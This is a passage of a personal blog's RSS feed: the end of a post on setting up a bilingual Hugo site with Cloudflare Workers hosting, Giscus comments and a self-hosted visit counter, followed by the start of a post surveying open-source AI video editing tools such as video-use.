    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">make dev      <span class="c1"># hugo server -D</span>
</span></span><span class="line"><span class="cl">make build    <span class="c1"># HUGO_ENV=production hugo --minify</span>
</span></span><span class="line"><span class="cl">make clean</span></span></code></pre></div></div>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Note<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">LoveIt loads comments, CDN, and some analytics scripts only when <code>hugo.Environment == production</code>. To verify comments locally, run: <code>HUGO_ENV=production hugo server</code></div>
    </div>
</div>
<h3 id="23-gitignore">2.3 <code>.gitignore</code></h3>
<p><code>public/</code>, <code>resources/</code>, <code>.hugo_build.lock</code>, <code>.cache/</code>, and <code>drafts/</code> are ignored.</p>
<ul>
<li><strong>Does not block deploy</strong>: Cloudflare rebuilds <code>public/</code> with <code>hugo build</code> in CI; the repo does not need build artifacts.</li>
<li>Keep <code>drafts/</code> local; publish into <code>content/posts/</code> after review.</li>
</ul>
<hr>
<h2 id="3-fixing-hugo-deprecation-warnings">3. Fixing Hugo deprecation warnings</h2>
<p>Newer Hugo warns about <code>.Site.LanguageCode</code>, <code>.Language.LanguageName</code>, <code>.Sites</code>, and the <code>languageCode</code> config key.</p>
<p><strong>Rule</strong>: do not edit the theme submodule; override templates under project <code>layouts/</code>.</p>
<table>
	<thead>
			<tr>
					<th>Override file</th>
					<th>Change</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>layouts/baseof.html</code></td>
					<td>use <code>.Site.Language.Locale</code> for <code>lang</code></td>
			</tr>
			<tr>
					<td><code>layouts/_partials/header.html</code></td>
					<td>language switch via <code>hugo.Sites</code> and <code>.Language.Label</code></td>
			</tr>
			<tr>
					<td><code>layouts/_partials/head/seo.html</code></td>
					<td>Locale as above</td>
			</tr>
			<tr>
					<td><code>layouts/_partials/init.html</code></td>
					<td>drop noisy dev warnings; attach comment / analytics in production</td>
			</tr>
			<tr>
					<td><code>layouts/home.rss.xml</code> and other RSS</td>
					<td>Locale as above</td>
			</tr>
	</tbody>
</table>
<p>On the config side, use <code>locale</code> (this site: Chinese <code>zh-CN</code>, English <code>en</code>) instead of deprecated <code>languageCode</code>.</p>
<hr>
<h2 id="4-chinese-default-and-bilingual-content-rules">4. Chinese default and bilingual content rules</h2>
<p>Default language and file naming must stay consistent, or the language switch shows an empty post list.</p>
<h3 id="41-site-languages">4.1 Site languages</h3>
<p>In <code>hugo.toml</code>:</p>
<ul>
<li><code>defaultContentLanguage = &quot;zh-cn&quot;</code></li>
<li><code>[languages.zh-cn]</code> with a smaller weight (primary)</li>
<li><code>[languages.en]</code> for the English site</li>
</ul>
<h3 id="42-file-naming-important">4.2 File naming (important)</h3>
<p>When Chinese is the default:</p>
<table>
	<thead>
			<tr>
					<th>Language</th>
					<th>Path</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Chinese</td>
					<td><code>content/posts/{slug}.md</code> (<strong>do not</strong> use <code>.zh-cn.md</code>)</td>
			</tr>
			<tr>
					<td>English</td>
					<td><code>content/posts/{slug}.en.md</code></td>
			</tr>
	</tbody>
</table>
<p>About pages follow the same pattern: <code>content/about/index.md</code> + <code>index.en.md</code>.</p>
<p>If English lives in bare <code>.md</code> and Chinese in <code>.zh-cn.md</code>, switching to <code>/en/</code> will hide English posts—an early footgun on this site.</p>
<h3 id="43-social-links">4.3 Social links</h3>
<p>Set <code>[params.home.profile] social = true</code> and configure <code>[params.social]</code> (GitHub, Email, RSS, etc.). Icons appear on the home profile only then.</p>
<hr>
<h2 id="5-writing-and-publish-workflow">5. Writing and publish workflow</h2>
<p>Conventions from draft to live: front matter, covers, media paths, and how Cursor skills help publish.</p>
<h3 id="51-minimal-publish-flow">5.1 Minimal publish flow</h3>
<ol>
<li>Write Chinese Markdown in Obsidian / Typora / <code>drafts/</code></li>
<li>Publish with Cursor skill <strong><code>hugo-blog-publish</code></strong> (default: front matter, cover, English translation, <code>hugo build</code>, commit + push)</li>
<li>Skip push when only local verification is requested; skip <code>.en.md</code> when Chinese-only is requested</li>
</ol>
<h3 id="52-front-matter-convention">5.2 Front matter convention</h3>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-yaml">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">title</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">date</span><span class="p">:</span><span class="w"> </span><span class="ld">2026-07-13T12:00:00</span><span class="m">+08</span><span class="p">:</span><span class="m">00</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">draft</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">description</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">categories</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">tags</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">featuredImage</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/images/posts/{slug}/featured.jpg&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">featuredImagePreview</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/images/posts/{slug}/featured.jpg&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span></span></span></code></pre></div></div>
<ul>
<li>Insert <code>&lt;!--more--&gt;</code> after the first paragraph for the summary</li>
<li>Chinese and English share the same cover / media paths</li>
</ul>
<h3 id="53-media-paths">5.3 Media paths</h3>
<table>
	<thead>
			<tr>
					<th>Type</th>
					<th>Directory</th>
					<th>In-content URL</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Cover / images</td>
					<td><code>static/images/posts/{slug}/</code></td>
					<td><code>/images/posts/{slug}/...</code></td>
			</tr>
			<tr>
					<td>Videos</td>
					<td><code>static/videos/posts/{slug}/</code></td>
					<td><code>/videos/posts/{slug}/...</code></td>
			</tr>
	</tbody>
</table>
<p>Recommended video markup:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-html">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">video</span> <span class="na">controls</span> <span class="na">playsinline</span> <span class="na">preload</span><span class="o">=</span><span class="s">&#34;metadata&#34;</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;/videos/posts/{slug}/demo.mp4&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">video</span><span class="p">&gt;</span></span></span></code></pre></div></div>
<p>External image URLs and Bilibili / YouTube embeds stay as-is; Bilibili can use LoveIt&rsquo;s <code>bilibili</code> shortcode.</p>
<h3 id="54-loveit-writing-skill">5.4 LoveIt writing skill</h3>
<p>There is also a <strong><code>loveit-theme</code></strong> skill (linked from publish): quick reference for admonition, image, mermaid, math, Giscus, visit counters, and more. Publish may lightly upgrade tips to <code>admonition</code> or Bilibili links to shortcodes.</p>
<p>Official docs: <a href="https://hugoloveit.com" target="_blank" rel="noopener noreffer ">LoveIt</a>.</p>
<hr>
<h2 id="6-layout-fixes-code-and-video">6. Layout fixes: code and video</h2>
<p>Production issues: long code lines overflow the code box; <code>&lt;video&gt;</code> width did not match content width. Fixed in <code>assets/css/_custom.scss</code>:</p>
<ul>
<li>Code blocks: <code>max-width: 100%</code>, <code>overflow-x: auto</code>, <code>pre-wrap</code> when needed</li>
<li><code>video</code>: <code>width/max-width: 100%</code>, <code>display: block</code>, <code>height: auto</code></li>
</ul>
<p>Still wrap extremely long command lines in the source for readability.</p>
<hr>
<h2 id="7-deploy-to-cloudflare-workers">7. Deploy to Cloudflare Workers</h2>
<p>Static hosting follows the <a href="https://gohugo.io/host-and-deploy/host-on-cloudflare/" target="_blank" rel="noopener noreffer ">official Hugo Cloudflare guide</a>; this site uses Workers static assets.</p>
<h3 id="71-repo-files">7.1 Repo files</h3>
<table>
	<thead>
			<tr>
					<th>File</th>
					<th>Role</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>wrangler.jsonc</code></td>
					<td>Worker name (e.g. <code>simons-blog</code>), <code>assets.directory = ./public</code></td>
			</tr>
			<tr>
					<td><code>build.sh</code></td>
					<td>Install Hugo Extended, update submodule, <code>HUGO_ENV=production hugo build</code></td>
			</tr>
			<tr>
					<td><code>package.json</code></td>
					<td>Helps enable build cache</td>
			</tr>
	</tbody>
</table>
<p>The Cloudflare project name should match <code>name</code> in <code>wrangler.jsonc</code>.</p>
<h3 id="72-dashboard-notes">7.2 Dashboard notes</h3>
<ul>
<li>Static-only Worker: <strong>do not</strong> set <code>HUGO_BASEURL</code> under runtime Variables and Secrets</li>
<li>Put build-related vars under <strong>Build variables</strong>, or hardcode <code>baseURL</code> in <code>hugo.toml</code> (this site uses <code>https://blog.leeissonba.com</code>)</li>
<li>Bind the custom domain under Workers → Domains</li>
</ul>
<h3 id="73-submodule">7.3 Submodule</h3>
<p>The theme is a submodule. Cloudflare build must run <code>git submodule update --init --recursive</code>; local clones need the submodule too.</p>
<hr>
<h2 id="8-comments-giscus">8. Comments: Giscus</h2>
<p>Valine (LeanCloud) was considered; the site settled on <a href="https://giscus.app/" target="_blank" rel="noopener noreffer ">Giscus</a> (GitHub Discussions).</p>
<h3 id="81-prerequisites">8.1 Prerequisites</h3>
<ol>
<li>Repository is <strong>Public</strong></li>
<li><strong>Discussions</strong> enabled</li>
<li>Install the <a href="https://github.com/apps/giscus" target="_blank" rel="noopener noreffer ">giscus GitHub App</a> and grant this repo</li>
</ol>
<h3 id="82-site-config-hugotoml">8.2 Site config (<code>hugo.toml</code>)</h3>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-toml">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">page</span><span class="p">.</span><span class="nx">comment</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="nx">enable</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">page</span><span class="p">.</span><span class="nx">comment</span><span class="p">.</span><span class="nx">giscus</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="nx">enable</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">    <span class="nx">repo</span> <span class="p">=</span> <span class="s2">&#34;simonlee-hello/MyBlog&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">repoId</span> <span class="p">=</span> <span class="s2">&#34;R_kgDOTVNnWg&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">category</span> <span class="p">=</span> <span class="s2">&#34;Announcements&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">categoryId</span> <span class="p">=</span> <span class="s2">&#34;DIC_kwDOTVNnWs4DBC6N&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">mapping</span> <span class="p">=</span> <span class="s2">&#34;pathname&#34;</span></span></span></code></pre></div></div>
<p><code>repoId</code> / <code>categoryId</code> are public GitHub GraphQL node IDs. They appear in page source and are <strong>not secrets</strong>—safe to publish with the site config.</p>
<p>Disable per page with <code>comment: false</code>.<br>
Loaded only in production builds; locally use <code>HUGO_ENV=production</code>.</p>
<p>Comment data lives in the repo&rsquo;s Discussions.</p>
<hr>
<h2 id="9-analytics-two-complementary-layers">9. Analytics: two complementary layers</h2>
<table>
	<thead>
			<tr>
					<th>Purpose</th>
					<th>Tool</th>
					<th>Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Owner dashboard</td>
					<td>Cloudflare Web Analytics</td>
					<td>Zone covers <code>leeissonba.com</code>; <code>blog.*</code> traffic already shows up—filter by Host</td>
			</tr>
			<tr>
					<td>On-page numbers</td>
					<td>Self-hosted Worker + D1 (<code>services/web-analytics</code>)</td>
					<td>Footer site PV/UV + post meta page views; you own the data</td>
			</tr>
	</tbody>
</table>
<p>Cloudflare Web Analytics <strong>cannot</strong> render counts on the public page (no public front-end API). Busuanzi/Vercount were tried earlier and dropped because third-party counters can reset.</p>
<p>This site follows <a href="https://github.com/yestool/analytics_with_cloudflare" target="_blank" rel="noopener noreffer ">analytics_with_cloudflare</a>, with site-wide <code>spv</code> / <code>suv</code> as in <a href="https://bytejog.com/posts/hugo/hugo_analytics/" target="_blank" rel="noopener noreffer ">Hugo self-hosted visit counters</a>. Reproduce against the repository.</p>
<h3 id="91-architecture">9.1 Architecture</h3>
<ul>
<li><strong>Separate Worker</strong> <code>web-analytics</code> (not the blog static Worker <code>myblog</code> / <code>simons-blog</code>)</li>
<li><strong>D1</strong> database <code>web_analytics</code> stores visits</li>
<li>Browser <code>POST /api/visit</code>: insert one row; optionally return page <code>pv</code> and site <code>spv</code> / <code>suv</code></li>
<li>Hugo loads the script only in <strong>production</strong> (same gate as Giscus)</li>
</ul>
<h3 id="92-deploy-the-counter-api-cloudflare">9.2 Deploy the counter API (Cloudflare)</h3>
<p>Work in the subdirectory (do not confuse with the root Hugo <code>wrangler.jsonc</code>):</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> services/web-analytics
</span></span><span class="line"><span class="cl">npm install
</span></span><span class="line"><span class="cl">npx wrangler login
</span></span><span class="line"><span class="cl">npx wrangler d1 create web_analytics
</span></span><span class="line"><span class="cl"><span class="c1"># Write the returned database_id into this directory&#39;s wrangler.jsonc</span>
</span></span><span class="line"><span class="cl">npm run initSql
</span></span><span class="line"><span class="cl">npm run deploy</span></span></code></pre></div></div>
<p>Notes:</p>
<ul>
<li><code>npm run deploy</code> passes <code>--config wrangler.jsonc</code>. Using the repo-root config will try Hugo&rsquo;s <code>build.sh</code> and fail</li>
<li>Dashboard → Workers → <code>web-analytics</code> → add a custom domain such as <code>analytics.leeissonba.com</code> (<code>workers.dev</code> is blocked in some regions)</li>
<li>Smoke test: <code>POST https://analytics.your-domain/api/visit</code> with <code>hostname</code>, <code>url</code>, <code>spv: true</code>, etc.; expect <code>{&quot;ret&quot;:&quot;OK&quot;,&quot;data&quot;:{...}}</code></li>
</ul>
<h3 id="93-wire-hugo-front-end">9.3 Wire Hugo front end</h3>
<p>Key files:</p>
<table>
	<thead>
			<tr>
					<th>Path</th>
					<th>Role</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>services/web-analytics/</code></td>
					<td>Worker + D1 source and <code>wrangler.jsonc</code></td>
			</tr>
			<tr>
					<td><code>assets/js/analytics.js</code></td>
					<td>Call API; fill <code>#page_pv</code> / <code>#site_pv</code> / <code>#site_uv</code></td>
			</tr>
			<tr>
					<td><code>layouts/_partials/plugin/web-analytics.html</code></td>
					<td>Inject fingerprinted script in production only</td>
			</tr>
			<tr>
					<td><code>layouts/_partials/footer.html</code></td>
					<td>Site PV/UV placeholders + load script once</td>
			</tr>
			<tr>
					<td><code>layouts/posts/single.html</code></td>
					<td>Post meta “views” <code>#page_pv</code></td>
			</tr>
			<tr>
					<td><code>hugo.toml</code> → <code>[params.webAnalytics]</code></td>
					<td>Toggle and <code>baseURL</code></td>
			</tr>
	</tbody>
</table>
<p>Config example:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-toml">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">webAnalytics</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="nx">enable</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="nx">baseURL</span> <span class="p">=</span> <span class="s2">&#34;https://analytics.leeissonba.com&#34;</span>  <span class="c"># must match custom domain</span></span></span></code></pre></div></div>
<p>Footer placeholders:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-html">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">Site visits <span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;site_pv&#34;</span><span class="p">&gt;</span>-<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> · Visitors <span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;site_uv&#34;</span><span class="p">&gt;</span>-<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span></span></span></code></pre></div></div>
<p>Post meta placeholder:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-html">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">Views <span class="p">&lt;</span><span class="nt">span</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;page_pv&#34;</span><span class="p">&gt;</span>-<span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span></span></span></code></pre></div></div>
<p>Implementation notes:</p>
<ul>
<li>Load the script <strong>once in the footer</strong> to avoid double counting</li>
<li>Do not use the upstream demo’s <code>document.head.innerHTML += …</code> (rebuilds <code>&lt;head&gt;</code> and can break theme scripts)</li>
<li>Local check: <code>HUGO_ENV=production hugo server</code>; plain <code>hugo server</code> does not load or count</li>
<li>Push the blog repo and wait for the static rebuild before numbers appear in production</li>
</ul>
<h3 id="94-acceptance">9.4 Acceptance</h3>
<ol>
<li>Open any post: meta views show a number; refresh should increase it</li>
<li>Footer site PV / UV show numbers</li>
<li>In Cloudflare, check request volume on the <strong><code>web-analytics</code></strong> Worker (not the zero-request static <code>myblog</code> app)</li>
</ol>
<hr>
<h2 id="10-config-switch-cheat-sheet">10. Config switch cheat sheet</h2>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-toml">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c"># comments</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">page</span><span class="p">.</span><span class="nx">comment</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="nx">enable</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># on-page counters (self-hosted Worker + D1)</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">webAnalytics</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="nx">enable</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">  <span class="nx">baseURL</span> <span class="p">=</span> <span class="s2">&#34;https://analytics.leeissonba.com&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># home social icons</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">params</span><span class="p">.</span><span class="nx">home</span><span class="p">.</span><span class="nx">profile</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="nx">social</span> <span class="p">=</span> <span class="kc">true</span></span></span></code></pre></div></div>
<p>Keep theme overrides under project <code>layouts/</code> and <code>assets/</code> so LoveIt submodule upgrades stay smaller.</p>
<hr>
<h2 id="11-reproduction-checklist">11. Reproduction checklist</h2>
<p>When aligning a fresh copy with this site:</p>
<ol>
<li><i class="far fa-square" aria-hidden="true"></i> Hugo Extended + <code>git submodule update --init</code></li>
<li><i class="far fa-square" aria-hidden="true"></i> <code>hugo.toml</code>: <code>baseURL</code>, default language, social, Giscus, <code>webAnalytics</code></li>
<li><i class="far fa-square" aria-hidden="true"></i> Cloudflare blog project name matches root <code>wrangler.jsonc</code> <code>name</code></li>
<li><i class="far fa-square" aria-hidden="true"></i> <code>layouts/</code> deprecation overrides + footer / posts/single / web-analytics partial</li>
<li><i class="far fa-square" aria-hidden="true"></i> <code>assets/css/_custom.scss</code> for code and video; <code>assets/js/analytics.js</code> in place</li>
<li><i class="far fa-square" aria-hidden="true"></i> Cloudflare blog: connected repo, build script, custom domain, <code>HUGO_ENV=production</code></li>
<li><i class="far fa-square" aria-hidden="true"></i> Giscus App installed; Discussions enabled</li>
<li><i class="far fa-square" aria-hidden="true"></i> (Optional) Web Analytics filter for <code>blog.</code> host</li>
<li><i class="far fa-square" aria-hidden="true"></i> Deploy <code>services/web-analytics</code>: D1 + Worker + custom domain matching <code>baseURL</code></li>
<li><i class="far fa-square" aria-hidden="true"></i> Cursor skills: <code>hugo-blog-publish</code> + <code>loveit-theme</code></li>
<li><i class="far fa-square" aria-hidden="true"></i> Smoke-test one post: bilingual, <code>featuredImage</code>, local media paths, <code>&lt;!--more--&gt;</code>; verify views in production</li>
</ol>
<hr>
<h2 id="12-references">12. References</h2>
<ul>
<li><a href="https://hugoloveit.com" target="_blank" rel="noopener noreffer ">LoveIt docs</a></li>
<li><a href="https://gohugo.io/host-and-deploy/host-on-cloudflare/" target="_blank" rel="noopener noreffer ">Host on Cloudflare (Hugo)</a></li>
<li><a href="https://giscus.app/" target="_blank" rel="noopener noreffer ">Giscus</a></li>
<li><a href="https://github.com/yestool/analytics_with_cloudflare" target="_blank" rel="noopener noreffer ">analytics_with_cloudflare</a></li>
<li><a href="https://bytejog.com/posts/hugo/hugo_analytics/" target="_blank" rel="noopener noreffer ">Hugo self-hosted visit counters (Worker + D1)</a></li>
<li>This repo: <code>services/web-analytics/README.md</code></li>
<li>Cloudflare Dashboard → Analytics &amp; Logs → Web Analytics</li>
</ul>]]></description></item><item><title>A Survey of AI for Video Generation and Intelligent Editing</title><link>https://blog.leeissonba.com/en/ai-video-generation-editing-survey/</link><pubDate>Sun, 12 Jul 2026 22:45:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/ai-video-generation-editing-survey/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/featured.jpg" alt="A Survey of AI for Video Generation and Intelligent Editing" referrerpolicy="no-referrer">
            </div><p>I recently looked into AI for video generation and intelligent editing. This post records what I learned.</p>
<p>I mainly tried these open-source tools: video-use, OpenMontage, Remotion, dots.tts, and HyperFrames. Briefly:</p>
<table>
	<thead>
			<tr>
					<th>Tool</th>
					<th>Description</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>video-use</td>
					<td>An open-source workflow that uses an AI coding agent to refine existing footage (transcribe → cut points → grade/subtitles/overlays → final cut).</td>
			</tr>
			<tr>
					<td>OpenMontage</td>
					<td>Turns a coding agent into a full video studio: research, scripts, voiceover, and synthesis end to end.</td>
			</tr>
			<tr>
					<td>Remotion</td>
					<td>An open-source framework for writing programmable videos in React and rendering frame-by-frame to MP4.</td>
			</tr>
			<tr>
					<td>dots.tts</td>
					<td>A local TTS model open-sourced by Xiaohongshu; generates high-quality speech from text (optional reference audio).</td>
			</tr>
			<tr>
					<td>HyperFrames</td>
					<td>Write browser animation layouts with HTML/CSS/GSAP, then deterministically capture frames into video.</td>
			</tr>
	</tbody>
</table>
<h2 id="video-use">Video-USE</h2>
<blockquote>
<p><a href="https://github.com/browser-use/video-use" target="_blank" rel="noopener noreffer ">https://github.com/browser-use/video-use</a></p>
</blockquote>
<h3 id="installation">Installation</h3>
<p>Dependencies are relatively easy to set up. You can also ask your agent to install it with a prompt like:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Set up https://github.com/browser-use/video-use for me.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Read install.md first to install this repo, wire up ffmpeg,
</span></span><span class="line"><span class="cl">register the skill with whichever agent you&#39;re running under,
</span></span><span class="line"><span class="cl">and set up the ElevenLabs API key — ask me to paste it when you need it.
</span></span><span class="line"><span class="cl">Then read SKILL.md for daily usage, and always read helpers/
</span></span><span class="line"><span class="cl">because that&#39;s where the editing scripts live.
</span></span><span class="line"><span class="cl">After install, don&#39;t transcribe anything on your own —
</span></span><span class="line"><span class="cl">just tell me it&#39;s ready and wait for me to drop footage into a folder.</span></span></code></pre></div></div>
<p>Manual install:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 1. Clone and symlink into your agent&#39;s skills directory</span>
</span></span><span class="line"><span class="cl">git clone https://github.com/browser-use/video-use ~/Developer/video-use
</span></span><span class="line"><span class="cl">ln -sfn ~/Developer/video-use ~/.claude/skills/video-use        <span class="c1"># Claude Code</span>
</span></span><span class="line"><span class="cl"><span class="c1"># ln -sfn ~/Developer/video-use ~/.codex/skills/video-use       # Codex</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. Install deps</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> ~/Developer/video-use
</span></span><span class="line"><span class="cl">uv sync                         <span class="c1"># or: pip install -e .</span>
</span></span><span class="line"><span class="cl">brew install ffmpeg             <span class="c1"># required</span>
</span></span><span class="line"><span class="cl">brew install yt-dlp             <span class="c1"># optional, for downloading online sources</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Add your ElevenLabs API key</span>
</span></span><span class="line"><span class="cl">cp .env.example .env
</span></span><span class="line"><span class="cl"><span class="nv">$EDITOR</span> .env                    <span class="c1"># ELEVENLABS_API_KEY=...</span></span></span></code></pre></div></div>
<p>Project layout:</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/image-20260712215207727.png" alt="" referrerpolicy="no-referrer"></p>
<h3 id="first-try">First try</h3>
<p>It is mainly audio-first (talking-head style): speech → text, then the model analyzes the transcript, writes an edit script, renders, and delivers. As a skill, you can steer pacing and direction interactively, similar to vibe-coding. The first trials felt promising.</p>
<p>I used cc-switch to manage skills, and Cursor as the agent (any agent works).</p>
<p><img src="https://blog.leeissonba.com/images/posts/ai-video-generation-editing-survey/image-20260712215338858.png" alt="" referrerpolicy="no-referrer"></p>
